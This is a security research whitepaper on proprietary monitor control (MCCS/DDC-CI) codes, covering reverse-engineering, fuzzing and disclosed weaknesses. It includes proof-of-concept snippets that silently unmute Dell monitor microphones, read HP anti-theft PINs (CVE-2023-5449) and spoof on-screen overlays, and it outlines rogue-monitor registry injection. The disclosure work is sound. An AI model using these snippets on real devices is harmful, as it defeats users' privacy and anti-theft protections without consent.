

Exploding Proprietary Monitor Command Control Set Virtual Control Panel Codes

Eugene Lim

February 2024

1 Background

The Monitor Control Command Set (MCCS) is a ubiquitous standard used on display monitors everywhere. Built on the DDC/CI (Command Interface) protocol, MCCS was originally meant to allow user-mode software to control simple settings like brightness and contrast, vendors have added proprietary extensions to enable complex features such as anti-theft, multi-monitor overlays, and more.

The secret to this functionality lies in a select range of 32 bytes defined in the VESA MCCS Standard for manufacturer-specific Virtual Control Panel (VCP) codes. These codes allow manufacturers to support proprietary and non-standard features that can be controlled over MCCS.

However, providing “a standard way to do non-standard things” is a common weakness in common standards due to a lack of scrutiny and poor documentation. Despite the warnings by the standard about the risks of overusing these VCP codes, manufacturers have pushed the limits of this loophole beyond what was originally intended.

The following whitepaper will discuss the methodology, observations, and findings from investigating proprietary MCCS VCP codes across multiple display monitors.

2 Methodology

2.1 Static

While firmware for display monitors is readily available and often unencrypted, it’s difficult to statically reverse-engineer the firmware as they are written for display monitor-specific processor architectures such as OpenRISC-based AEON.¹

¹For more information on this approach, refer to Max Thomas’ work at <https://gist.github.com/shinyquagsire23> in reverse-engineering display monitor firmware.

Instead, the simpler approach is to reverse-engineer manufacturers' display monitor client software instead. Examples include Dell Display Manager, Acer Display Widget, ASUS DisplayWidget Center, HP Display Center, and LG On Screen Control. Most of these programs are .NET-based applications and relatively easy to decompile from Common Intermediate Language bytecode.

In turn, these applications call on common Windows API VCP control functions such as `SetVCPFeature` and `GetVCPFeatureAndVCPFeatureReply` from *Dxva2.dll*. These APIs take a control code argument which allows for easy mapping from client software function names to the control code.

For example, Dell Display Manager executes `MISCEX.SetVCP(monitorInfo, VcpTypes.ReduceBrightness, 0)`; when changing the brightness slider in the application. The `VcpTypes` enum maps `ReduceBrightness` to `0xE0`, which falls in the manufacturer-specific VCP code range of `0xE0` to `0xFF`.

Sometimes, these instructions are located in compiled library files instead. For example, Acer Display Widget's *Monitor_MCCS_API.dll* exports the following function:

```
1 int __cdecl Monitor_Set_ColorSpace(DWORD dwNewValue)
2 {
3     byte_1002023C = SetVCPFeature(Block->
4         hPhysicalMonitor, 0xEAu, dwNewValue);
5     return (unsigned __int8)byte_1002023C;
6 }
```

Thanks to the included symbols, we can identify that the proprietary ColorSpace feature uses VCP code `0xEA`.

2.2 Dynamic

Due to obfuscation of .NET binaries such as in LG On Screen Control, static analysis may not be straightforward. In these cases, we can simply hook the `SetVCPFeature` and `GetVCPFeatureAndVCPFeatureReply` Windows APIs instead using Frida to log the codes used. The following snippet shows how:

```
1 var getVCPFeatureAndVCPFeatureReply = Module.
2   getExportByName(null, '
3     GetVCPFeatureAndVCPFeatureReply');
4 var setVcpFeature = Module.getExportByName(null, '
5   SetVCPFeature');
6
7 function parseArg(arg) {
8     if (parseInt(arg) > 255) {
9         return arg.readInt();
10    }
11    return arg;
12 }
```

```

10
11 Interceptor.attach(getVCPFeatureAndVCPFeatureReply, {
12   onEnter: function(args)
13   {
14     console.log('Called
15               getVCPFeatureAndVCPFeatureReply');
16     console.log(`bVCPCode: ${parseArg(args[1])} (${
17               {defaultVcpFeatureCodeMetadata[parseInt(
18                 parseArg(args[1]))]})`);
19     console.log();
20   }
21 });
22
23 Interceptor.attach(setVcpFeature, {
24   onEnter: function(args)
25   {
26     console.log('Called setVcpFeature');
27     console.log(`bVCPCode: ${args[1]} (${
28               defaultVcpFeatureCodeMetadata[parseInt(args
29                 [1])])`);
30     console.log(`dwNewValue: ${args[2]}`);
31     console.log();
32   }
33 });

```

By interacting with these features on the software, the matching VCP code will also be logged.

However, even the client software may be insufficient due to deprecated or undocumented VCP codes. As mentioned earlier, static analysis of the firmware is challenging, and it's also not possible to emulate proprietary architectures to run the firmware as well.

As such, one alternative is to fuzz the codes directly on the target by calling the VCP-related APIs from the host. Wrapper libraries for other languages like *ddc-node* from <https://github.com/ThalusA/ddc-node> reduce the effort needed and allow for quicker iteration and testing. For example, a simpler fuzzer for unknown manufacturer-specific VCP codes would be:

```

1 // Fuzz unknown VCP codes
2 async function fuzzUnknownVcpCodes(display,
3   nonContinuousValues, start=0xE0, end=0xFF) {
4   for (let vcpCode=start; vcpCode <= end; vcpCode++) {
5     try {
6       const vcpFeature = await display.getVcpFeature(
7         vcpCode);
8       await timeout(500);

```

```

7      const writableString = await isWritable(display,
        vcpCode, nonContinuousValues) ? 'writable' :
        'read-only';
8      console.log(`Custom VCP code 0x${toHex(vcpCode)}
        is ${writableString}! VCP feature data: ${
        JSON.stringify(vcpFeature)}`);
9    } catch {
10
11    }
12  }
13 }

```

Of course, one challenge is identifying interesting behaviour while fuzzing. VCP codes can be read-only, write-only, or read-write. One approach is to identify writable (and hence attacker-controllable) codes by testing for changed values after an attempted write. However, VCP code values can actually come in three data types: continuous, noncontinuous (similar to an enum), and table as described in the VESA Monitor Control Command Set Standard:

- Continuous controls allow for all values between zero and a maximum value, generally these values may be either read or written.
- The non-continuous controls only support a limited number of values and may be read-only, write-only or read and write.
- Table commands support the transfer of blocks of data and may be read-only, write-only or read and write.

In order to accurately fuzz these types, the fuzzer must account for the range of acceptable values. For non-continuous controls, this includes taking reference to the list of values provided by the capability string. Continuous controls also return a maximum value when reading them over DDC/CI. However, table controls follow a wide range of possible byte arrangements. As such, the fuzzer simply reads the current value of the VCP code and mutates it slightly (or within the provided range of options) and confirms if it has been modified.

Additionally, non-conformant standard VCP codes can be interesting, such as writable codes that should be read-only. For example, the “Display Firmware Level” code (0xC9) could be used to spoof firmware versions. Another fuzzing routine checks for these non-conformant codes.

3 Findings

3.1 Capability Strings and Feature Reply

One feature of the DDC protocol is the capabilities string, which a host can request from a device. For example:

```

1 (prot(monitor)type(LCD)model(P3222QE)cmds(01 02 03 07
   0C E3 F3)vcp(02 04 05 08 10 12 14(05 08 0B 0C) 16
   18 1A 52 60(1B 0F 11 ) AA(01 02 04 ) AC AE B2 B6 C6
   C8 C9 CA CC(02 0A 03 04 08 09 0D 06 ) D6(01 04 05)
   DC(00 03 05 ) DF E0 E1 E2(00 02 04 0E 12 14 ) EA
   F1 F2 FD)mshql(1)asset_eep(40)mccs_ver(2.1))

```

Of interest are the values listed within `vcp()`, because these are the VCP codes the monitor claims to support. Additionally, the VCP codes with additional codes in parentheses indicate non-continuous codes and their range of options. Unfortunately, while testing this across multiple display monitor models, it appears that strict adherence to capability strings varies, as not all non-continuous codes have their actual ranges represented in the capabilities string, nor does it contain all supported VCP codes.

Another option for gathering more data is the VCP feature reply when reading a VCP code. Other than the current value of the VCP code, the VCP code type and maximum value should also be returned. Compliance to this pattern is even weaker than for capabilities strings. Inaccurate maximum values and types are often reported as well.

As such, other than analyzing the firmware directly, there are no other options to fully determine the type of a VCP code. Fuzzing and client-side static analysis provide some means of estimating this information.

3.2 Packed Proprietary Codes

MCCS only allocated 32 manufacturer-specific VCP codes. However, manufacturers have found creative ways to circumvent this.

One approach is to use sequences of VCP codes. Consider the following two VCP functions for Acer monitors:

```

1 int __cdecl Monitor_Set_SniperNightVision(DWORD
   dwNewValue)
2 {
3     byte_1002023C = SetVCPFeature(Block->
   hPhysicalMonitor, 0xEBu, 7u);
4     Sleep(0x32u);
5     byte_1002023C = SetVCPFeature(Block->
   hPhysicalMonitor, 0xECu, dwNewValue);
6     return (unsigned __int8)byte_1002023C;
7 }
8
9 int __cdecl Monitor_Set_SniperRatio(DWORD dwNewValue)
10 {
11     byte_1002023C = SetVCPFeature(Block->
   hPhysicalMonitor, 0xEBu, 5u);

```

```

12 Sleep(0x32u);
13 byte_1002023C = SetVCPFeature(Block->
    hPhysicalMonitor, 0xECu, dwNewValue);
14 return (unsigned __int8)byte_1002023C;
15 }

```

First, a set VCP command is sent for VCP code 0xEB with a fixed value, followed by a second command to 0xEC with the actual value of the feature being set. In short, this uses a dictionary where 0xEB corresponds to the VCP feature key and 0xEC to the value. This allows a manufacturer to pack up to 256 features in a single VCP code.

Another approach is by embedding "sub-bytes" in SetVCP values. For example, HP Display Center packs a sub-byte corresponding to a proprietary VCP feature in the first byte for continuous values which is then parsed as an integer for a few VCP codes:

```

1 private int GetReadBitOfSubCode(byte subCodeByte) =>
    int.Parse(string.Format('{0:X}{1}', (object)
        subCodeByte, (object) '00'), NumberStyles.HexNumber
    ) | 32768;
2
3 private int AddSubCodeWithContinuousValue(byte
    subCodeByte, int value) => int.Parse(string.Format(
    '{0:X}{1}', (object) subCodeByte, (object) '00'),
    NumberStyles.HexNumber) | value;

```

Similarly, for non-continuous values, a single master VCP code is used while the VCP values can correspond to the non-continuous values of different VCP features. This allows a precious VCP code to be used for multiple non-continuous VCP features, rather than wasting it on a small number of possible values.

4 Exploit Scenarios

Given the inherent trust placed in display monitors due to assumptions about their "dumb" nature as opposed to modern smart and internet-of-things devices, it can be surprising to hear that a monitor can be manipulated over a simple HDMI cable. While the default MCCS VCP codes do not inherently pose a security threat, the expansion of functionality and control using manufacturer-specific codes may breach this inherent trust boundary.

The inherent factor in MCCS is the lack of access control. While there is an "Application Enable Key" (0xC6) that allows software on the host to verify that the monitor is supported, there is no equivalent mechanism for the

monitor to identify a trusted host. This means that other software on the host, or devices connected to alternative DDC/CI inputs, can also control proprietary monitor features without the user's knowledge. In cases like microphone muting or change monitor overlays, this can lead to security concerns.

4.1 Writable Gaming Indicators

Acer and ASUS display monitors implement gaming features that allow monitors to add an overlay on the screen, such as a aiming crosshair, frames per second counter, or a timer. In addition, these overlays can be resized or moved around on the screen.

For example, ASUS implements the following:

1. Crosshair (0xE3)
2. Timer (0xE4)
3. FPS Counter (0xE8)
4. GamePlus Position (0xE8)

By manipulating these controls, a program could spoof the image on a screen without the user's knowledge, such as by obscuring warning messages or secure indicators on the screen similar to the attack demonstrated by Red Balloon Security (<https://redballoonsecurity.com/resources/research/a-monitor-darkly/>) to hide invalid SSL certificate warnings in a browser by manipulating the display monitor using the GProbe protocol.

```
1 // 0=off, 1=red dot, 2=green dot, 3=red bullseye, 4=
   green bullseye, 5=red rangefinder, 6=green
   rangefinder
2 async function asusSetCrosshair(display, type) {
3   await display.setVcpFeature(0xE3, type);
4   await timeout(500);
5 }
6
7 // Up = 1, Down = 2, Right = 3, Left = 4
8 async function asusSetGamePlusPosition(display,
   direction) {
9   await display.setVcpFeature(0xE8, direction);
10  await timeout(50);
11 }
```

4.2 Writable Privacy Settings / Microphone Mute

While MCCS supports standard VCP controls for audio-related features including microphone volume (0x64), some dell monitors support a MonitorPrivacyControls code (0xEA) that is used to control the integrated microphone's mute status on the monitor:

```
1 private void MicSwitch_Toggled(object sender,
2     RoutedEventArgs e)
3 {
4     int value = 63744;
5     if (MicSwitch.IsOn)
6     {
7         value = 63745;
8     }
9     ClassMessageBroker.Publish_GetSetVcp(MessageTypes.
10         VcpCommand_Set, new VcpStruct
11     {
12         vcptype = VcpTypes.MonitorPrivacyControls,
13         Value = value
14     });
15 }
```

As such, by exposing this hardware feature to software control, this allows any program to potentially unmute a user's microphone without permission.

```
1 // Unmutes microphone
2 async function dellSetMonitorPrivacyControls(isOn,
3     display) {
4     await display.setVcpFeature(0xEA, isOn ? 63745 :
5         63744);
6     await timeout(500);
7 }
```

Ironically, this appears to be a feature of higher-end monitors (see <https://www.dell.com/support/kbdoc/en-sg/000201067> for a list of supported monitors) as older models with integrated microphones do not support microphone control over DDC/CI.

4.3 Readable TheftLowPin and TheftHighPin (CVE-2023-5449)

HP display monitors implement an anti-theft mechanism where users can set a 4 to 6 digit PIN on the monitor such that if the monitor is stolen and connected

to a new computer without entering the PIN, after 5 minutes the screen will dim and show a message "Theft Mode is Enabled".

In particular, HP implements the following control commands:

1. TheftTimeOut (0xFB): Continuous value that denotes the time in minutes before the anti-theft mechanism is triggered if no PIN is entered.
2. TheftLowPin (0xFC): Continuous value that denotes the low 3 digits of the PIN
3. TheftHighPin (0xFD): Continuous value that denotes the high 3 digits of the PIN.
4. TheftDeterrence (0xFA): Non-continuous value that denotes the status of the theft deterrence mechanism. Can be TheftDisabled (0), TheftEnabledConsumer (1), or TheftEnabledEnterprise (2).
- 5.

In MCCS, control data can be read and write (RW), read-only (RO), or write-only (WO).

When turning on anti-theft deterrence, the HP Display Center software takes in user input for the PIN, then sends the following write MCCS commands:

1. TheftLowPin = LowPin: Monitor sets LowPin.
2. TheftHighPin = HighPin: Monitor sets HighPin.
3. TheftDeterrence = TheftEnabledConsumer: Monitor turns on anti-theft deterrence.

When turning off anti-theft deterrence, it sends the following write MCCS commands:

1. TheftLowPin = LowPin: Monitor checks LowPin.
2. TheftHighPin = HighPin: Monitor checks HighPin.
3. TheftDeterrence = TheftDisabled: If previous 2 steps were correctly checked, monitor turns off anti-theft deterrence.

On the firmware side, TheftDeterrence is correctly configured such that it is read-only (RO) when the monitor has not yet received correct TheftLowPin and TheftHighPin commands. Unfortunately, the TheftLowPin and TheftHighPin control command values are not set to write-only (WO), but are actually read and write (RW). This allows an attacker to actually read the values of the pin even when anti-theft deterrence has been triggered.

```

1 // Extracts HP anti-theft deterrence PIN
2 async function hpGetPIN(display, nonContinuousValues,
   customVcpFeatureCodes) {
3   try {
4     var { currentValue } = await display.getVcpFeature
       (0xFC);
5     await timeout(500);
6     console.log(`LowPin: ${JSON.stringify(vcpFeature)}
       `);
7     var { currentValue } = await display.getVcpFeature
       (0xFD);
8     await timeout(500);
9     console.log(`HighPin: ${JSON.stringify(vcpFeature)}
       `);
10  } catch {}
11 }

```

5 Monitor-to-Host Exploitation

Additionally, there may be other interesting implementations that can lead to monitor-to-host vulnerabilities. For example, Acer uses a unique protocol to fetch a stored ASCII serial number string on the monitor using offsets:

```

1 async function acerGetSN(display) {
2   await display.setVcpFeature(0xE0, 0x03);
3   await timeout(500);
4   var sn = ''
5   for (let i=0; i < 6; i++) {
6     await display.setVcpFeature(0xE1, i);
7     await timeout(500);
8     const { currentValue, maximumValue } = await
       display.getVcpFeature(0xE1);
9     await timeout(500);
10    console.log(currentValue);
11    console.log(maximumValue)
12    sn += Buffer.from(maximumValue.toString(16), 'hex'
       ).toString('ascii')
13    sn += Buffer.from(currentValue.toString(16), 'hex'
       ).toString('ascii')
14    console.log(sn);
15  }
16 }

```

The value passed while setting 0xE1 is used as an offset in stored string, which is then moved for reading via the 0xE1 VCP code. Eventually, up to 24 characters are extracted and returned. On the client side, this content is then set using the XAML Content attribute as well as used to set a registry value.

```
1 private void background_Read_SN__WorkerCompleted(  
2     object sender, RunWorkerCompletedEventArgs e)  
3 {  
4     SN_data1.Content = cur_SN;  
5     int index = AcerMCCS_API.Acer_get_Monitor_index();  
6     string model_name = read_EDID_class.  
7         Get_Monitor_ModelName_List()[index];  
8     string driver_ID = read_EDID_class.  
9         Get_Monitor_DriverID_List()[index];  
10    AcerReadWriteRegistry.Acer_Set_SN_to_Registry(  
11        model_name, driver_ID, cur_SN);  
12    Set_Information_Location();  
13 }  
14  
15 public static bool Acer_Set_SN_to_Registry(  
16     string model_name, string driver_ID, string  
17     SN_value)  
18 {  
19     RegistryKey registryKey = Registry.CurrentUser.  
20         CreateSubKey(Acer_22_digital_SN + "\\\" +  
21         model_name + "_" + driver_ID);  
22     if (registryKey != null)  
23     {  
24         try  
25         {  
26             registryKey.SetValue("SN_value", SN_value);  
27             registryKey.Close();  
28             return true;  
29         }  
30         catch (Exception ex)  
31         {  
32             throw ex;  
33         }  
34     }  
35     return false;  
36 }
```

Since both the Extended Display Identification Data (EDID) that provides the model name as well as the VCP code value that is used to generate the serial number are controllable by the monitor, this can be used to inject arbitrary registry keys or to inject content in the display software via a rogue monitor posing as an Acer monitor. While EDID data is writable, the VCP code value is read-only, and thus without a working rogue monitor, the attack can also be simulated by hooking and replacing the return values.

6 Attack Scenarios

As always, one question that may arise is - "is this a feature or a bug?" For MCCS where many of these proprietary features are tied to the monitor, it may seem innocuous that other software may change the brightness or color profile without the user's knowledge. However, there are additional concerns when controllable features begin to infringe on reasonable expectations of security boundaries, such as a hidden PIN code or control over a hardware-integrated microphone.

There are two attack vectors and typical scenarios:

Rogue monitor to client software: The monitor can return malicious responses to MCCS commands sent by client software, which parses the responses incorrectly and uses them in dangerous ways. For example, HP Display Center reads a firmware model string that is used as part of the URL string to download a firmware to disk. This firmware file is unzipped and executed. By manipulating the firmware model string returned, an attacker can cause vulnerable firmware installers to be run. For Acer Display Widget, a serial number ASCII string is also read via MCCS and displayed in the UI and used to set a registry value. By returning both an EDID model number with traversal characters and the manipulated serial number, an attacker can write arbitrary registry keys. This appears restricted to the Acer subkey for now, but it is possible to write nested registry keys within it. This is exacerbated by the fact that some display software is automatically installed as part of the OS driver loading functionality, such as HP Display Center on Windows. This installation occurs without user control, which simplifies the attack vector for a rogue monitor.

Alternative client software to monitor: It's not only the manufacturer's desktop client software that can send sensitive MCCS commands (such as turning on the microphone and changing privacy settings) to the monitor. This is an access control issue; some manufacturers like HP set specific sequences of MCCS commands to send a PIN code to unlock certain commands, but as shown in CVE-2023-5449 this can sometimes be bypassed as well. The extent of exploitability depends on the sensitivity of functions supported, which for manufacturers may range from annoyances like changing what is displayed to bypassing privacy features.

In conclusion, research to MCCS sheds additional light into a neglected class of devices due to their assumed "dumb" nature. Future work can continue to enumerate manufacturer-specific codes as well as lower-level research into the firmware of these devices and memory corruption issues caused by unorthodox VCP code packing and use of offsets.